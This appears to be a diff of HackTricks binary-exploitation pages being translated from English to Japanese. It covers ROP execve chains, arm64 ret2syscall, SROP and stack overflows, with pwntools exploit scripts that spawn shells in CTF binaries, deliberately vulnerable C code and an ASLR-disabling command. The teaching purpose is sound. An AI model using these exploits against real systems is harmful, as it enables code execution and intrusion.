0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
``` ```
### メモリに文字列を書く
### Write String in memory 次に、このアドレスに任意の内容を書き込む方法を見つける必要があります。
Then you need to find a way to write arbitrary content in this address
```python ```python
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
``` ```
### ROPチェーンの自動化
### Automate ROP chain 次のコマンドは、書き込み可能なガジェットとシステムコール命令がある場合に、静的バイナリから完全な `sys_execve` ROPチェーンを作成します:
The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions:
```bash ```bash
ROPgadget --binary vuln --ropchain ROPgadget --binary vuln --ropchain
``` ```
#### 32ビット
#### 32 bits
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -87,9 +78,7 @@ rop += popRax
rop += p32(0x6b6000 + 4) rop += p32(0x6b6000 + 4)
rop += writeGadget rop += writeGadget
``` ```
#### 64ビット
#### 64 bits
```python ```python
''' '''
Lets write "/bin/sh" to 0x6b6000 Lets write "/bin/sh" to 0x6b6000
@ -105,17 +94,15 @@ rop += popRax
rop += p64(0x6b6000) # Writable memory rop += p64(0x6b6000) # Writable memory
rop += writeGadget #Address to: mov qword ptr [rax], rdx rop += writeGadget #Address to: mov qword ptr [rax], rdx
``` ```
## ガジェットが不足している場合
## Lacking Gadgets もし**ガジェットが不足している**場合、例えばメモリに`/bin/sh`を書き込むために、スタックからすべてのレジスタ値RIPやパラメータレジスタを含むを制御するために**SROP技術を使用することができます**
If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack:
{{#ref}} {{#ref}}
../srop-sigreturn-oriented-programming/ ../srop-sigreturn-oriented-programming/
{{#endref}} {{#endref}}
## Exploit Example ## エクスプロイトの例
```python ```python
from pwn import * from pwn import *
@ -182,14 +169,13 @@ target.sendline(payload)
target.interactive() target.interactive()
``` ```
## その他の例と参考文献
## Other Examples & References
- [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html)
- 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. - 64ビット、PIEなし、nx、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。
- [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html)
- 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused - 64ビット、nx、PIEなし、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。スタックに書き込むために数学的操作を行う関数が悪用されます。
- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. - 64ビット、PIEなし、nx、BFカナリア、`execve`を呼び出すROPをメモリに書き込み、そこにジャンプします。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,80 +2,73 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
Find an introduction to arm64 in: arm64の紹介は以下を参照してください
{{#ref}} {{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Code ## コード
We are going to use the example from the page: 私たちはページからの例を使用します:
{{#ref}} {{#ref}}
../../stack-overflow/ret2win/ret2win-arm64.md ../../stack-overflow/ret2win/ret2win-arm64.md
{{#endref}} {{#endref}}
```c ```c
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
void win() { void win() {
printf("Congratulations!\n"); printf("Congratulations!\n");
} }
void vulnerable_function() { void vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
} }
int main() { int main() {
vulnerable_function(); vulnerable_function();
return 0; return 0;
} }
``` ```
PIEとカナリアなしでコンパイル:
Compile without pie and canary:
```bash ```bash
clang -o ret2win ret2win.c -fno-stack-protector clang -o ret2win ret2win.c -fno-stack-protector
``` ```
## Gadgets ## Gadgets
In order to prepare the call for the **syscall** it's needed the following configuration: **syscall**を呼び出すためには、以下の設定が必要です:
- `x8: 221 Specify sys_execve` - `x8: 221 sys_execveを指定`
- `x0: ptr to "/bin/sh" specify file to execute` - `x0: "/bin/sh"へのポインタ、実行するファイルを指定`
- `x1: 0 specify no arguments passed` - `x1: 0、引数は渡さないことを指定`
- `x2: 0 specify no environment variables passed` - `x2: 0、環境変数は渡さないことを指定`
Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:
ROPgadget.pyを使用して、マシンのlibcライブラリ内で以下のガジェットを見つけることができました
```armasm ```armasm
;Load x0, x1 and x3 from stack and x5 and call x5 ;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30: 0x0000000000114c30:
ldp x3, x0, [sp, #8] ; ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ; ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ; ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ; ldr x2, [sp, #0xe0] ;
blr x5 blr x5
;Move execve syscall (0xdd) to x8 and call it ;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c : 0x00000000000bb97c :
nop ; nop ;
nop ; nop ;
mov x8, #0xdd ; mov x8, #0xdd ;
svc #0 svc #0
``` ```
前のガジェットを使用することで、スタックから必要なすべてのレジスタを制御し、x5を使用して2番目のガジェットにジャンプしてsyscallを呼び出すことができます。
With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.
> [!TIP] > [!TIP]
> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. > libcライブラリからこの情報を知ることでret2libc攻撃を行うことも可能ですが、今回はこの例のために使用しましょう。
### Exploit
### エクスプロイト
```python ```python
from pwn import * from pwn import *
@ -124,5 +117,4 @@ p.sendline(payload)
p.interactive() p.interactive()
``` ```
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,25 +2,24 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## 基本情報
**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. **`Sigreturn`** は、主にシグナルハンドラの実行が完了した後のクリーンアップに使用される特別な **syscall** です。シグナルは、オペレーティングシステムによってプログラムに送信される中断で、通常は何らかの例外的な状況が発生したことを示します。プログラムがシグナルを受け取ると、シグナルを処理するために **シグナルハンドラ** という特別な関数を使用して、現在の作業を一時的に中断します。
After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is where **`sigreturn`** comes into play. It helps the program to **return from the signal handler** and restores the program's state by cleaning up the stack frame (the section of memory that stores function calls and local variables) that was used by the signal handler. シグナルハンドラが終了した後、プログラムは何も起こらなかったかのように **以前の状態に戻る** 必要があります。ここで **`sigreturn`** が登場します。これは、プログラムが **シグナルハンドラから戻る** のを助け、シグナルハンドラによって使用されたスタックフレーム(関数呼び出しやローカル変数を格納するメモリのセクション)をクリーンアップすることでプログラムの状態を復元します。
The interesting part is how **`sigreturn`** restores the program's state: it does so by storing **all the CPU's register values on the stack.** When the signal is no longer blocked, **`sigreturn` pops these values off the stack**, effectively resetting the CPU's registers to their state before the signal was handled. This includes the stack pointer register (RSP), which points to the current top of the stack. 興味深いのは、**`sigreturn`** がプログラムの状態をどのように復元するかです:それは **すべてのCPUのレジスタ値をスタックに保存することによって** 行います。シグナルがもはやブロックされていないとき、**`sigreturn` はこれらの値をスタックからポップし**、実質的にCPUのレジスタをシグナルが処理される前の状態にリセットします。これには、スタックの現在のトップを指すスタックポインタレジスタRSPが含まれます。
> [!CAUTION] > [!CAUTION]
> Calling the syscall **`sigreturn`** from a ROP chain and **adding the registry values** we would like it to load in the **stack** it's possible to **control** all the register values and therefore **call** for example the syscall `execve` with `/bin/sh`. > ROPチェーンから **`sigreturn`** syscall を呼び出し、**スタックにロードしたいレジスタ値を追加する** ことで、すべてのレジスタ値を **制御** し、したがって例えば `execve` syscall を `/bin/sh`**呼び出す** ことが可能です。
Note how this would be a **type of Ret2syscall** that makes much easier to control params to call other Ret2syscalls: これは、他のRet2syscallを呼び出すためのパラメータを制御するのがはるかに簡単になる **Ret2syscallの一種** であることに注意してください:
{{#ref}} {{#ref}}
../rop-syscall-execv/ ../rop-syscall-execv/
{{#endref}} {{#endref}}
If you are curious this is the **sigcontext structure** stored in the stack to later recover the values (diagram from [**here**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)): 興味がある方のために、これは後で値を回復するためにスタックに保存される **sigcontext構造体** です(図は [**こちら**](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) から):
``` ```
+--------------------+--------------------+ +--------------------+--------------------+
| rt_sigeturn() | uc_flags | | rt_sigeturn() | uc_flags |
@ -56,15 +55,13 @@ If you are curious this is the **sigcontext structure** stored in the stack to l
| __reserved | sigmask | | __reserved | sigmask |
+--------------------+--------------------+ +--------------------+--------------------+
``` ```
より良い説明については、こちらも確認してください:
For a better explanation check also:
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %} {% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
## Example ## 例
You can [**find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) where the call to signeturn is constructed via ROP (putting in rxa the value `0xf`), although this is the final exploit from there:
[**ここに例があります**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) では、ROPを介してsigneturnへの呼び出しが構築されておりrxaに値`0xf`を入れています)、これはそこからの最終的なエクスプロイトです:
```python ```python
from pwn import * from pwn import *
@ -91,9 +88,7 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
ここでも[**こちらからのエクスプロイト**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)を確認してください。バイナリはすでに`sigreturn`を呼び出しているため、**ROP**を構築する必要はありません。
Check also the [**exploit from here**](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) where the binary was already calling `sigreturn` and therefore it's not needed to build that with a **ROP**:
```python ```python
from pwn import * from pwn import *
@ -126,20 +121,19 @@ target.sendline(payload) # Send the target payload
# Drop to an interactive shell # Drop to an interactive shell
target.interactive() target.interactive()
``` ```
## その他の例と参考文献
## Other Examples & References
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared) - [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop) - [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
- [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html) - [https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor_funsignals/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure and read the flag which is inside the memory of the binary. - **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込み、バイナリのメモリ内にあるフラグを読み取ることが可能です。
- [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html) - [https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19_smallboi/index.html)
- Assembly binary that allows to **write to the stack** and then calls the **`sigreturn`** syscall. It's possible to write on the stack a [**ret2syscall**](../rop-syscall-execv/) via a **sigreturn** structure (the binary has the string `/bin/sh`). - **スタックに書き込む**ことを可能にし、その後**`sigreturn`**システムコールを呼び出すアセンブリバイナリ。スタックに[**ret2syscall**](../rop-syscall-execv/)を**sigreturn**構造体を介して書き込むことが可能です(バイナリには`/bin/sh`という文字列があります)。
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html) - [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
- 64 bits, no relro, no canary, nx, no pie. Simple buffer overflow abusing `gets` function with lack of gadgets that performs a [**ret2syscall**](../rop-syscall-execv/). The ROP chain writes `/bin/sh` in the `.bss` by calling gets again, it abuses the **`alarm`** function to set eax to `0xf` to call a **SROP** and execute a shell. - 64ビット、relroなし、canaryなし、nx、pieなし。ガジェットが不足している`gets`関数を悪用したシンプルなバッファオーバーフローで、[**ret2syscall**](../rop-syscall-execv/)を実行します。ROPチェーンは、再度getsを呼び出すことで`.bss``/bin/sh`を書き込み、**`alarm`**関数を悪用してeaxを`0xf`に設定し、**SROP**を呼び出してシェルを実行します。
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html) - [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
- 64 bits assembly program, no relro, no canary, nx, no pie. The flow allows to write in the stack, control several registers, and call a syscall and then it calls `exit`. The selected syscall is a `sigreturn` that will set registries and move `eip` to call a previous syscall instruction and run `memprotect` to set the binary space to `rwx` and set the ESP in the binary space. Following the flow, the program will call read intro ESP again, but in this case ESP will be pointing to the next intruction so passing a shellcode will write it as the next instruction and execute it. - 64ビットアセンブリプログラム、relroなし、canaryなし、nx、pieなし。フローはスタックに書き込み、いくつかのレジスタを制御し、システムコールを呼び出し、その後`exit`を呼び出すことを可能にします。選択されたシステムコールは`sigreturn`で、レジスタを設定し、`eip`を移動させて以前のシステムコール命令を呼び出し、`memprotect`を実行してバイナリ空間を`rwx`に設定し、バイナリ空間内のESPを設定します。フローに従って、プログラムは再度ESPに読み込みを呼び出しますが、この場合ESPは次の命令を指しているため、シェルコードを渡すことで次の命令として書き込み、実行します。
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection) - [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
- SROP is used to give execution privileges (memprotect) to the place where a shellcode was placed. - SROPは、シェルコードが配置された場所に実行権限memprotectを与えるために使用されます。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Pwntools example ## Pwntoolsの例
This example is creating the vulnerable binary and exploiting it. The binary **reads into the stack** and then calls **`sigreturn`**:
この例では、脆弱なバイナリを作成し、それを悪用します。このバイナリは**スタックに読み込み**、その後**`sigreturn`**を呼び出します:
```python ```python
from pwn import * from pwn import *
@ -33,55 +32,49 @@ p = process(binary.path)
p.send(bytes(frame)) p.send(bytes(frame))
p.interactive() p.interactive()
``` ```
## bofの例
## bof example ### コード
### Code
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
void do_stuff(int do_arg){ void do_stuff(int do_arg){
if (do_arg == 1) if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;"); __asm__("mov x8, 0x8b; svc 0;");
return; return;
} }
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer; return buffer;
} }
char* gen_stack() { char* gen_stack() {
char use_stack[0x2000]; char use_stack[0x2000];
strcpy(use_stack, "Hello, world!"); strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function(); char* b = vulnerable_function();
return use_stack; return use_stack;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = gen_stack(); char* b = gen_stack();
do_stuff(2); do_stuff(2);
return 0; return 0;
} }
``` ```
コンパイルするには:
Compile it with:
```bash ```bash
clang -o srop srop.c -fno-stack-protector clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## エクスプロイト
## Exploit このエクスプロイトは、bofを悪用して**`sigreturn`**への呼び出しに戻り、スタックを準備して**`execve`**を呼び出すために`/bin/sh`へのポインタを用意します。
The exploit abuses the bof to return to the call to **`sigreturn`** and prepare the stack to call **`execve`** with a pointer to `/bin/sh`.
```python ```python
from pwn import * from pwn import *
@ -110,44 +103,40 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## sigreturnなしのbofの例
## bof example without sigreturn ### コード
### Code
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h> #include <unistd.h>
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer; return buffer;
} }
char* gen_stack() { char* gen_stack() {
char use_stack[0x2000]; char use_stack[0x2000];
strcpy(use_stack, "Hello, world!"); strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function(); char* b = vulnerable_function();
return use_stack; return use_stack;
} }
int main(int argc, char **argv) { int main(int argc, char **argv) {
char* b = gen_stack(); char* b = gen_stack();
return 0; return 0;
} }
``` ```
## Exploit ## Exploit
In the section **`vdso`** it's possible to find a call to **`sigreturn`** in the offset **`0x7b0`**: セクション **`vdso`** では、オフセット **`0x7b0`** に **`sigreturn`** への呼び出しを見つけることができます:
<figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure> <figure><img src="../../../images/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Therefore, if leaked, it's possible to **use this address to access a `sigreturn`** if the binary isn't loading it: したがって、漏洩した場合、バイナリがそれをロードしていない場合は **このアドレスを使用して `sigreturn` にアクセスすることが可能です**:
```python ```python
from pwn import * from pwn import *
@ -176,14 +165,13 @@ payload += bytes(frame)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
vdsoに関する詳細は次を確認してください
For more info about vdso check:
{{#ref}} {{#ref}}
../ret2vdso.md ../ret2vdso.md
{{#endref}} {{#endref}}
And to bypass the address of `/bin/sh` you could create several env variables pointing to it, for more info: そして、`/bin/sh`のアドレスをバイパスするために、いくつかのenv変数をそれにポイントさせることができます。詳細については
{{#ref}} {{#ref}}
../../common-binary-protections-and-bypasses/aslr/ ../../common-binary-protections-and-bypasses/aslr/

View File

@ -4,35 +4,32 @@
## What is a Stack Overflow ## What is a Stack Overflow
A **stack overflow** is a vulnerability that occurs when a program writes more data to the stack than it is allocated to hold. This excess data will **overwrite adjacent memory space**, leading to the corruption of valid data, control flow disruption, and potentially the execution of malicious code. This issue often arises due to the use of unsafe functions that do not perform bounds checking on input. **スタックオーバーフロー**は、プログラムがスタックに割り当てられたよりも多くのデータを書き込むときに発生する脆弱性です。この余分なデータは**隣接するメモリ空間を上書き**し、有効なデータの破損、制御フローの混乱、そして潜在的には悪意のあるコードの実行を引き起こします。この問題は、入力に対して境界チェックを行わない安全でない関数の使用によってしばしば発生します。
The main problem of this overwrite is that the **saved instruction pointer (EIP/RIP)** and the **saved base pointer (EBP/RBP)** to return to the previous function are **stored on the stack**. Therefore, an attacker will be able to overwrite those and **control the execution flow of the program**. この上書きの主な問題は、**保存された命令ポインタ (EIP/RIP)** と**保存されたベースポインタ (EBP/RBP)** が前の関数に戻るために**スタックに保存されている**ことです。したがって、攻撃者はそれらを上書きし、**プログラムの実行フローを制御**できるようになります。
The vulnerability usually arises because a function **copies inside the stack more bytes than the amount allocated for it**, therefore being able to overwrite other parts of the stack. この脆弱性は通常、関数が**スタックに割り当てられたバイト数よりも多くのバイトをコピーする**ために発生し、他のスタックの部分を上書きできるようになります。
Some common functions vulnerable to this are: **`strcpy`, `strcat`, `sprintf`, `gets`**... Also, functions like **`fgets`** , **`read` & `memcpy`** that take a **length argument**, might be used in a vulnerable way if the specified length is greater than the allocated one. これに脆弱な一般的な関数には、**`strcpy`, `strcat`, `sprintf`, `gets`**などがあります。また、**`fgets`**、**`read` & `memcpy`**のように**長さ引数**を取る関数も、指定された長さが割り当てられたものより大きい場合に脆弱な方法で使用される可能性があります。
For example, the following functions could be vulnerable:
例えば、以下の関数が脆弱である可能性があります:
```c ```c
void vulnerable() { void vulnerable() {
char buffer[128]; char buffer[128];
printf("Enter some text: "); printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer); printf("You entered: %s\n", buffer);
} }
``` ```
### スタックオーバーフローのオフセットを見つける
### Finding Stack Overflows offsets スタックオーバーフローを見つける最も一般的な方法は、非常に大きな入力の `A`s を与えることです(例: `python3 -c 'print("A"*1000)'`)そして、**アドレス `0x41414141` にアクセスしようとしたことを示す `Segmentation Fault`** を期待します。
The most common way to find stack overflows is to give a very big input of `A`s (e.g. `python3 -c 'print("A"*1000)'`) and expect a `Segmentation Fault` indicating that the **address `0x41414141` was tried to be accessed**. さらに、スタックオーバーフローの脆弱性があることがわかったら、**リターンアドレスを上書きするために必要なオフセット**を見つける必要があります。そのためには、通常 **De Bruijn シーケンス**が使用されます。これは、サイズ _k_ のアルファベットと長さ _n_ の部分列に対して、**長さ _n_ のすべての可能な部分列がちょうど一度だけ**連続した部分列として現れる**循環シーケンスです。
Moreover, once you found that there is Stack Overflow vulnerability you will need to find the offset until it's possible to **overwrite the return address**, for this it's usually used a **De Bruijn sequence.** Which for a given alphabet of size _k_ and subsequences of length _n_ is a **cyclic sequence in which every possible subsequence of length \_n**\_\*\* appears exactly once\*\* as a contiguous subsequence. この方法により、手動で EIP を制御するために必要なオフセットを特定する代わりに、これらのシーケンスの1つをパディングとして使用し、上書きされたバイトのオフセットを見つけることが可能です。
This way, instead of needing to figure out which offset is needed to control the EIP by hand, it's possible to use as padding one of these sequences and then find the offset of the bytes that ended overwriting it.
It's possible to use **pwntools** for this:
これには **pwntools** を使用することができます:
```python ```python
from pwn import * from pwn import *
@ -44,58 +41,55 @@ eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}") print(f"The offset is: {offset}")
``` ```
または **GEF**:
or **GEF**:
```bash ```bash
#Patterns #Patterns
pattern create 200 #Generate length 200 pattern pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp pattern search $rsp #Search the offset given the content of $rsp
``` ```
## スタックオーバーフローの悪用
## Exploiting Stack Overflows オーバーフロー中(オーバーフローサイズが十分大きいと仮定すると)、スタック内のローカル変数の値を**上書き**することができ、保存された**EBP/RBPおよびEIP/RIPまたはそれ以上**に到達します。\
この種の脆弱性を悪用する最も一般的な方法は、**戻りアドレスを変更する**ことで、関数が終了すると**制御フローがこのポインタで指定された場所にリダイレクトされる**ことです。
During an overflow (supposing the overflow size if big enough) you will be able to **overwrite** values of local variables inside the stack until reaching the saved **EBP/RBP and EIP/RIP (or even more)**.\ しかし、他のシナリオでは、スタック内の**いくつかの変数の値を上書きする**だけで悪用が可能な場合もあります簡単なCTFチャレンジのように
The most common way to abuse this type of vulnerability is by **modifying the return address** so when the function ends the **control flow will be redirected wherever the user specified** in this pointer.
However, in other scenarios maybe just **overwriting some variables values in the stack** might be enough for the exploitation (like in easy CTF challenges).
### Ret2win ### Ret2win
In this type of CTF challenges, there is a **function** **inside** the binary that is **never called** and that **you need to call in order to win**. For these challenges you just need to find the **offset to overwrite the return address** and **find the address of the function** to call (usually [**ASLR**](../common-binary-protections-and-bypasses/aslr/) would be disabled) so when the vulnerable function returns, the hidden function will be called: この種のCTFチャレンジでは、バイナリ内に**決して呼び出されない****関数**があり、**勝つために呼び出す必要があります**。これらのチャレンジでは、**戻りアドレスを上書きするためのオフセット**を見つけ、呼び出す**関数のアドレス**を見つける必要があります(通常、[**ASLR**](../common-binary-protections-and-bypasses/aslr/)は無効になります)ので、脆弱な関数が戻ると、隠れた関数が呼び出されます:
{{#ref}} {{#ref}}
ret2win/ ret2win/
{{#endref}} {{#endref}}
### Stack Shellcode ### スタックシェルコード
In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code: このシナリオでは、攻撃者はスタックにシェルコードを配置し、制御されたEIP/RIPを悪用してシェルコードにジャンプし、任意のコードを実行することができます
{{#ref}} {{#ref}}
stack-shellcode/ stack-shellcode/
{{#endref}} {{#endref}}
### ROP & Ret2... techniques ### ROP & Ret2... テクニック
This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. And it allows to perform several other techniques (ret2lib, ret2syscall...) that will end executing arbitrary commands by abusing existing instructions in the binary: このテクニックは、前のテクニックの主要な保護を回避するための基本的なフレームワークです:**実行可能なスタックなしNX**。これにより、バイナリ内の既存の命令を悪用して任意のコマンドを実行する他のいくつかのテクニックret2lib、ret2syscall...)を実行することができます:
{{#ref}} {{#ref}}
../rop-return-oriented-programing/ ../rop-return-oriented-programing/
{{#endref}} {{#endref}}
## Heap Overflows ## ヒープオーバーフロー
An overflow is not always going to be in the stack, it could also be in the **heap** for example: オーバーフローは常にスタック内で発生するわけではなく、例えば**ヒープ**内で発生することもあります:
{{#ref}} {{#ref}}
../libc-heap/heap-overflow.md ../libc-heap/heap-overflow.md
{{#endref}} {{#endref}}
## Types of protections ## 保護の種類
There are several protections trying to prevent the exploitation of vulnerabilities, check them in: 脆弱性の悪用を防ぐためのいくつかの保護があります。詳細は以下を確認してください:
{{#ref}} {{#ref}}
../common-binary-protections-and-bypasses/ ../common-binary-protections-and-bypasses/

View File

@ -1,28 +1,28 @@
# Pointer Redirecting # ポインタリダイレクティング
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## String pointers ## 文字列ポインタ
If a function call is going to use an address of a string that is located in the stack, it's possible to abuse the buffer overflow to **overwrite this address** and put an **address to a different string** inside the binary. 関数呼び出しがスタックにある文字列のアドレスを使用する場合、バッファオーバーフローを悪用してこのアドレスを**上書きし**、バイナリ内に**別の文字列のアドレス**を置くことが可能です。
If for example a **`system`** function call is going to **use the address of a string to execute a command**, an attacker could place the **address of a different string in the stack**, **`export PATH=.:$PATH`** and create in the current directory an **script with the name of the first letter of the new string** as this will be executed by the binary. 例えば、**`system`** 関数呼び出しが**コマンドを実行するために文字列のアドレスを使用する**場合、攻撃者は**スタックに別の文字列のアドレス**、**`export PATH=.:$PATH`**を置き、現在のディレクトリに**新しい文字列の最初の文字の名前のスクリプトを作成**することができます。これにより、バイナリによって実行されます。
You can find an **example** of this in: 以下に**例**があります:
